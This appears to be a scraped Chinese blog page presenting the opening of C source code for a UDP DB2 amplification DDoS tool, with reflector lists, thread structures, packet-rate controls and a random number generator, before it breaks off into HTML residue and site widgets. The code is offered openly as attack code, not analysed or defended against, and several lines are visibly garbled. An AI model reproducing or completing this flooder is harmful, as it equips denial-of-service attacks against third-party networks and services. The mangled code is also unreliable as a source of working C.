UDP-Based Amplification DDOS攻击代码实现


    
    
  1. /* DB2 Amplification */
  2.  
  3. #include <time .h>
  4. #include <pthread .h>
  5. #include <unistd .h>
  6. #include <stdio .h>
  7. #include <stdlib .h>
  8. #include <string .h>
  9. #include <sys /socket.h>
  10. #include <netinet /ip.h>
  11. #include </netinet><netinet /udp.h>
  12. #include <arpa /inet.h>
  13. #define MAX_PACKET_SIZE 8192
  14. #define PHI 0x9e3779b9
  15. static uint32_t Q[4096], c = 362436;
  16. struct list
  17. {
  18.         struct sockaddr_in data;
  19.         struct list *next;
  20.         struct list *prev;
  21. };
  22. struct list *head;
  23. volatile int tehport;
  24. volatile int limiter;
  25. volatile unsigned int pps;
  26. volatile unsigned int sleeptime = 100;
  27. struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; };
  28. void init_rand(uint32_t x)
  29. {
  30.         int i;
  31.         Q[0] = x;
  32.         Q[1] = x + PHI;
  33.         Q[2] = x + PHI + PHI;
  34.         for (= 3; i < 4096; i++)
  35.         {
  36.         Q[i] = Q[- 3] ^ Q[- 2] ^ PHI ^ i;
  37.         }
  38. }
  39. uint32_t rand_cmwc(void)
  40. {
  41.         uint64_t t, a = 18782LL;
  42.         static uint32_t i = 4095;
  43.         uint32_t x, r = 0xfffffffe;
  44.         i = (+ 1) & 4095;
  45.         t = a * Q[i] + c;
  46.         c = (>><span class="pln" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; outline: 0px; font-weight: inherit; font-style: inherit; vertical-align: baseli
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值